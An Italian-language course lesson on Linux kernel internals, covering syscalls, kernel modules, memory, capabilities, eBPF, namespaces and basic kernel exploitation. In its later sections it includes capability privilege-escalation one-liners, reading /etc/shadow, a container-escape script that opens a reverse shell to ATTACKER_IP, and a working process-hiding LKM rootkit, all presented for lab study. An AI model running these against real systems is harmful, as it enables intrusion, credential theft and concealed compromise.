Linux kernel
12 min read

Linux kernel e internals

Internals del kernel, syscall, moduli, privilege escalation e basi di kernel exploitation.

kernel
linux
privilege-escalation

Livello: Avanzato
Obiettivo: Comprendere il funzionamento interno del kernel Linux, le syscall, i moduli, le tecniche di privilege escalation e i fondamenti di kernel exploitation.


1. Architettura del Kernel Linux

1.1 Spazio utente vs Spazio kernel

┌─────────────────────────────────────────┐
│            USER SPACE                   │
│  ┌─────────┐ ┌──────────┐ ┌─────────┐  │
│  │ Bash    │ │ Firefox  │ │ Python  │  │
│  └────┬────┘ └────┬─────┘ └────┬────┘  │
│       │           │             │       │
│  glibc / libc: wrapper syscall          │
└───────┼───────────┼─────────────┼───────┘
        │   syscall interface (int 0x80 / syscall)
┌───────┼───────────┼─────────────┼───────┐
│            KERNEL SPACE                 │
│  ┌──────────────────────────────────┐   │
│  │ Syscall Handler                  │   │
│  ├──────────────────────────────────┤   │
│  │ Process Management  │ Memory Mgmt│   │
│  │ File Systems        │ Networking │   │
│  │ Device Drivers      │ IPC        │   │
│  └──────────────────────────────────┘   │
│  ┌──────────────────────────────────┐   │
│  │ Hardware Abstraction Layer (HAL) │   │
└──┴──────────────────────────────────┴───┘
        │
┌───────┴──────────────────────────────────┐
│         HARDWARE                          │
│  CPU  │  RAM  │  Disco  │  Rete          │
└──────────────────────────────────────────┘

Ring levels:

  • Ring 0 (Kernel): accesso totale a tutto l'hardware
  • Ring 3 (User): accesso limitato, passa attraverso le syscall

1.2 Strutture dati fondamentali del kernel

// task_struct — rappresenta un processo/thread
struct task_struct {
    volatile long state;    // -1 unrunnable, 0 runnable, >0 stopped
    pid_t pid;
    pid_t tgid;             // thread group ID (= pid per processi principali)
    struct task_struct *parent;
    struct list_head children;
    struct mm_struct *mm;   // mappatura memoria (NULL per kernel threads)
    struct cred *cred;      // credenziali (uid, gid, capabilities)
    char comm[TASK_COMM_LEN]; // nome processo
    // ...
};

// cred — credenziali di sicurezza
struct cred {
    uid_t uid, gid;         // user/group ID reali
    uid_t euid, egid;       // effective (usati per permessi)
    uid_t suid, sgid;       // saved
    kernel_cap_t cap_inheritable;
    kernel_cap_t cap_permitted;
    kernel_cap_t cap_effective;  // capabilities attive
    // ...
};

2. Syscall — L'interfaccia User-Kernel

2.1 Come funzionano le syscall

User Space:              Kernel Space:
write(fd, buf, len)  →   sys_write()
  │                          │
  │  push syscall number     │
  │  (rax = __NR_write = 1)  │
  │  syscall instruction ────┤→ syscall_handler
  │                          │  → verifica parametri
  │                          │  → copia da user space
  │  ← ritorna risultato     │  → esegue operazione
// Esempio: syscall write in assembly x86-64
asm volatile (
    "movq $1, %%rax\n"    // __NR_write = 1
    "movq $1, %%rdi\n"    // fd = stdout
    "movq %0, %%rsi\n"    // buf
    "movq %1, %%rdx\n"    // count
    "syscall\n"
    : : "r"(buf), "r"(len)
    : "rax", "rdi", "rsi", "rdx"
);
# Vedere le syscall che fa un programma
strace -c ls   # riepilogo con conteggi
strace ls 2>&1 | head -30

# Numbering delle syscall
cat /usr/include/asm/unistd_64.h | grep __NR_write
# → #define __NR_write 1

# Lista completa
ausyscall --dump 2>/dev/null | head -50

2.2 Syscall importanti per la sicurezza

# Monitoraggio syscall con auditd
sudo apt install auditd
sudo auditctl -a always,exit -F arch=b64 -S execve -k exec_calls
sudo auditctl -a always,exit -F arch=b64 -S openat -k file_opens
sudo auditctl -a always,exit -F arch=b64 -S connect -k network_connect

sudo ausearch -k exec_calls | head -50
sudo aureport --executable --summary

# seccomp — filtra syscall permesse (sandbox)
# Usato da Docker, browsers, systemd
# Vedere regole seccomp di un processo
cat /proc/$(pidof firefox)/status | grep Seccomp
# 0=disable, 1=strict, 2=filter

3. Moduli del Kernel (LKM)

3.1 Struttura di un modulo kernel

// hello_module.c — modulo kernel minimo
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Analista");
MODULE_DESCRIPTION("Modulo di esempio");
MODULE_VERSION("1.0");

static int __init hello_init(void) {
    printk(KERN_INFO "Hello, Kernel!\n");
    return 0;
}

static void __exit hello_exit(void) {
    printk(KERN_INFO "Goodbye, Kernel!\n");
}

module_init(hello_init);
module_exit(hello_exit);
# Makefile per compilare il modulo
cat << 'EOF' > Makefile
obj-m += hello_module.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF

make
sudo insmod hello_module.ko   # carica modulo
dmesg | tail -5               # vedi output printk
sudo rmmod hello_module       # rimuovi modulo

# Gestione moduli
lsmod                          # moduli caricati
modinfo hello_module.ko       # info dettagliate
sudo modprobe module_name     # carica con dipendenze
cat /proc/modules              # lista raw

3.2 Modulo con /proc filesystem

// proc_module.c — crea /proc/myinfo
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");

static struct proc_dir_entry *proc_entry;

static ssize_t proc_read(struct file *file, char __user *buf,
                          size_t count, loff_t *pos) {
    char message[] = "Ciao dal kernel!\n";
    if (*pos > 0) return 0;
    if (copy_to_user(buf, message, sizeof(message))) return -EFAULT;
    *pos += sizeof(message);
    return sizeof(message);
}

static const struct proc_ops fops = {
    .proc_read = proc_read,
};

static int __init proc_init(void) {
    proc_entry = proc_create("myinfo", 0444, NULL, &fops);
    if (!proc_entry) return -ENOMEM;
    printk(KERN_INFO "proc_module: /proc/myinfo creato\n");
    return 0;
}

static void __exit proc_exit(void) {
    proc_remove(proc_entry);
}

module_init(proc_init);
module_exit(proc_exit);

4. Gestione della Memoria

4.1 Virtual Memory Layout (x86-64 Linux)

Indirizzo virtuale a 64-bit (canonico: 48 bit usati)

0xFFFFFFFFFFFFFFFF ┐
                   │  Kernel Space (solo Ring 0)
0xFFFF800000000000 ┘

          (gap non mappato — causa Page Fault se acceduto)

0x00007FFFFFFFFFFF ┐
                   │  Stack (cresce verso il basso)
                   │  ...
                   │  mmap / librerie dinamiche
                   │  Heap (cresce verso l'alto)
                   │  BSS (var globali non inizializzate)
                   │  Data (var globali inizializzate)
0x0000000000400000 │  Text (codice eseguibile)
0x0000000000000000 ┘

4.2 Allocazione memoria kernel

// Allocazione in kernel space
#include <linux/slab.h>
#include <linux/vmalloc.h>

// kmalloc — allocazione contigua in memoria fisica (< 4MB tipicamente)
void *buf = kmalloc(1024, GFP_KERNEL);   // GFP_KERNEL: può dormire
void *buf = kmalloc(1024, GFP_ATOMIC);   // GFP_ATOMIC: non può dormire (interrupt)
kfree(buf);

// vmalloc — allocazione virtualmente contigua (fisica non necessariamente)
void *buf = vmalloc(1024 * 1024);  // 1 MB
vfree(buf);

// get_free_pages — allocazione pagine intere
unsigned long page = get_zeroed_page(GFP_KERNEL);
free_page(page);

4.3 Analisi memoria kernel

# /proc/meminfo — panoramica memoria
cat /proc/meminfo

# Pagine del kernel
cat /proc/buddyinfo  # allocatore buddy (gestione pagine libere)

# Slab allocator
cat /proc/slabinfo | head -30
slabtop             # tool interattivo

# Memory map di un processo
cat /proc/$(pidof firefox)/maps
cat /proc/$(pidof firefox)/smaps  # dettagliato

# Memoria virtuale del kernel
cat /proc/iomem     # mappa I/O fisica
cat /proc/kallsyms  # tutti i simboli del kernel (richiede root)

5. Linux Capabilities

Le capabilities suddividono i privilegi di root in unità più granulari:

# Lista capabilities
man capabilities

# Capabilities importanti:
# CAP_NET_ADMIN    → config rete, intercettazione pacchetti
# CAP_NET_RAW      → socket raw (ping, tcpdump)
# CAP_SYS_MODULE   → caricare moduli kernel
# CAP_SYS_PTRACE   → debuggare processi altrui
# CAP_DAC_READ_SEARCH → leggere file ignorando permessi
# CAP_SETUID       → cambiare UID (privilege escalation!)
# CAP_SYS_ADMIN    → quasi tutto (mounting, cgroups, etc.)

# Vedere capabilities di un processo
cat /proc/$(pidof docker)/status | grep Cap
# CapInh, CapPrm, CapEff, CapBnd, CapAmb

# Decodificare
capsh --decode=0000003fffffffff

# Tool getcap/setcap
getcap -r / 2>/dev/null   # trova binari con capabilities
# Output: /usr/bin/ping cap_net_raw=ep

# Privilege escalation via capabilities
# Se python3 ha cap_setuid:
# → python3 -c "import os; os.setuid(0); os.system('/bin/bash')"

# Se tar ha cap_dac_read_search:
# → tar czf /tmp/shadow.tar.gz /etc/shadow

# GTFOBins: https://gtfobins.github.io/ (filtra per "capabilities")

6. eBPF — Extended Berkeley Packet Filter

eBPF è una tecnologia rivoluzionaria: permette di eseguire programmi in kernel space in modo sicuro, senza scrivere moduli.

# Installazione tool eBPF
sudo apt install bpfcc-tools linux-headers-$(uname -r)

# execsnoop — traccia ogni esecuzione di processo
sudo execsnoop-bpfcc

# opensnoop — ogni file aperto
sudo opensnoop-bpfcc

# tcpconnect — ogni connessione TCP
sudo tcpconnect-bpfcc

# biolatency — latenza I/O disco
sudo biolatency-bpfcc

# trace — tracciamento personalizzato
sudo trace-bpfcc 'do_sys_open "%s", arg2'   # ogni open() con path
# Programma eBPF in Python con BCC
from bcc import BPF

prog = """
#include <uapi/linux/ptrace.h>

BPF_HASH(start, u32);

int kprobe__sys_clone(struct pt_regs *ctx) {
    u32 pid = bpf_get_current_pid_tgid();
    bpf_trace_printk("fork() da PID %d\\n", pid);
    return 0;
}
"""

b = BPF(text=prog)
print("Monitoring fork/clone syscall... (Ctrl-C per fermare)")
b.trace_print()

7. Kernel Exploitation — Concetti Base

IMPORTANTE: Queste tecniche sono presentate a scopo educativo. Testale SOLO su VM dedicate e sistemi di cui sei proprietario.

7.1 Privilege Escalation via kernel exploit

# Trovare vulnerabilità del kernel installato
uname -r
searchsploit linux kernel $(uname -r)
searchsploit linux local privilege escalation 4.15

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# CVE importanti nella storia:
# CVE-2016-5195 (Dirty COW) — race condition in copy-on-write
# CVE-2021-3156 (Sudo Baron Samedit) — buffer overflow sudo
# CVE-2021-4034 (PwnKit) — pkexec privilege escalation
# CVE-2022-0847 (Dirty Pipe) — scrittura in file read-only

7.2 Dirty COW (CVE-2016-5195)

// Principio: race condition in copy-on-write
// Permette di scrivere in file read-only tramite /proc/self/mem

// Esempio: iniettare root in /etc/passwd (file read-only)
// Il thread 1 scrive in /proc/self/mem
// Il thread 2 chiama madvise(MADV_DONTNEED)
// Race condition → il thread 1 scrive nell'originale, non nella copia

// Compilazione e test su VM vulnerabile (kernel < 4.8.3):
gcc -pthread dirty.c -o dirty
./dirty
# → modifica /etc/passwd, aggiunge utente root

7.3 Dirty Pipe (CVE-2022-0847)

// Principio: bug nell'inizializzazione dei flag delle pipe
// Permette a utenti non privilegiati di sovrascrivere file read-only

// Applicabile su kernel 5.8 - 5.16.10
// Esempio: sovrascrivere /etc/passwd o /sbin/su

#include <fcntl.h>
#include <unistd.h>
#include <string.h>
// ... (vedi PoC completo su GitHub)

7.4 Protezioni kernel moderne

# KASLR — Kernel Address Space Layout Randomization
# Randomizza indirizzi del kernel ad ogni boot
cat /proc/kallsyms | grep " T " | head  # mostra indirizzi (richiede root)
# Con KASLR: indirizzi diversi ad ogni boot

# SMEP — Supervisor Mode Execution Prevention
# Il kernel non può eseguire codice in user space
dmesg | grep -i smep

# SMAP — Supervisor Mode Access Prevention
# Il kernel non può accedere direttamente a memoria user space
dmesg | grep -i smap

# Stack Canaries
# Valore random tra variabili locali e return address
# → overflow rilevato prima del ritorno dalla funzione

# Verifica protezioni sistema
cat /proc/sys/kernel/dmesg_restrict    # 1 = dmesg richiede root
cat /proc/sys/kernel/kptr_restrict     # 1 = nasconde indirizzi kernel
cat /proc/sys/kernel/randomize_va_space # 2 = ASLR completo

8. Namespaces e Cgroups (Base dei Container)

8.1 Namespaces

# Tipi di namespace Linux
# PID — ogni container vede solo i propri processi
# NET — interfacce di rete separate
# MNT — filesystem separato
# UTS — hostname separato
# USER — UID mapping (root nel container ≠ root sull'host)
# IPC — IPC separato

# Vedere i namespace di un processo
ls -la /proc/$(pidof docker)/ns/

# Creare namespace manualmente
sudo unshare --pid --fork --mount-proc bash
# → ora sei in una shell con PID namespace separato
ps aux  # vedi solo i tuoi processi!

# Entrare nel namespace di un altro processo (come fa docker exec)
sudo nsenter -t $(pidof apache2) -m -u -i -n -p bash

8.2 Container Escape

# Rilevare se sei in un container
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv
ls -la /run/.containerenv  # podman

# Escape da container privilegiato
# Se docker run --privileged:
# → accesso a /dev → può montare il disco dell'host

# Metodo 1: mount disco host
fdisk -l   # trova disco host
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host   # ora sei root sull'host!

# Metodo 2: cgroup v1 notify_on_release exploit
# In container privilegiato:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

9. Analisi del Kernel in Live

# Informazioni kernel
uname -a
cat /proc/version
cat /proc/cmdline   # parametri di boot

# Strutture kernel esposte via /proc e /sys
cat /proc/interrupts  # gestori interrupt hardware
cat /proc/net/tcp     # connessioni TCP (formato hex)
cat /proc/net/tcp6    # connessioni IPv6
cat /proc/net/route   # tabella di routing
cat /proc/net/arp     # cache ARP

# Convertire /proc/net/tcp in leggibile
python3 << 'EOF'
import socket, struct
with open('/proc/net/tcp') as f:
    for line in f.readlines()[1:]:
        fields = line.split()
        local = fields[1]
        remote = fields[2]
        state = int(fields[3], 16)
        ip_hex, port_hex = local.split(':')
        ip = socket.inet_ntoa(struct.pack('<L', int(ip_hex, 16)))
        port = int(port_hex, 16)
        states = {1:'ESTABLISHED',2:'SYN_SENT',10:'LISTEN',6:'TIME_WAIT'}
        print(f"{ip}:{port} [{states.get(state, state)}]")
EOF

# Moduli caricati con info complete
cat /proc/modules | awk '{print $1}' | while read mod; do
    modinfo $mod 2>/dev/null | grep -E "filename|description"
done

10. Lab Pratico — Scrittura LKM Rootkit (Educativo)

// rootkit_edu.c — nasconde un processo dalla pslist (SOLO A SCOPO EDUCATIVO)
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/sched.h>

MODULE_LICENSE("GPL");

static int target_pid = 0;
module_param(target_pid, int, 0);

static struct task_struct *hidden_task = NULL;

static int __init rootkit_init(void) {
    struct task_struct *task;

    // Trovare il processo con il PID target
    for_each_process(task) {
        if (task->pid == target_pid) {
            hidden_task = task;
            break;
        }
    }

    if (!hidden_task) {
        printk(KERN_ERR "PID %d non trovato\n", target_pid);
        return -ESRCH;
    }

    // Rimuovere dalla lista dei task (nasconde da ps)
    list_del_init(&hidden_task->tasks);
    printk(KERN_INFO "Processo PID %d nascosto\n", target_pid);
    return 0;
}

static void __exit rootkit_exit(void) {
    if (hidden_task) {
        // Ripristinare nella lista
        list_add(&hidden_task->tasks, &init_task.tasks);
        printk(KERN_INFO "Processo PID %d ripristinato\n", target_pid);
    }
}

module_init(rootkit_init);
module_exit(rootkit_exit);
# Compilazione e test su VM ISOLATA
make
sudo insmod rootkit_edu.ko target_pid=1234
ps aux | grep 1234   # non appare!
sudo rmmod rootkit_edu   # ripristina
ps aux | grep 1234   # riappare!

Quiz di autoverifica

  1. Qual è la differenza tra Ring 0 e Ring 3? Come avviene la transizione tramite syscall?
  2. Cosa sono le Linux Capabilities? Come possono essere usate per privilege escalation?
  3. Spiega la vulnerabilità Dirty COW. Cosa causa la race condition?
  4. Come si può rilevare se si è in un container Docker?
  5. Cosa fa list_del_init(&task->tasks) nel kernel Linux e perché un rootkit lo userebbe?

Precedente: 05 — Malware & RE
Torna all'indice: README Principale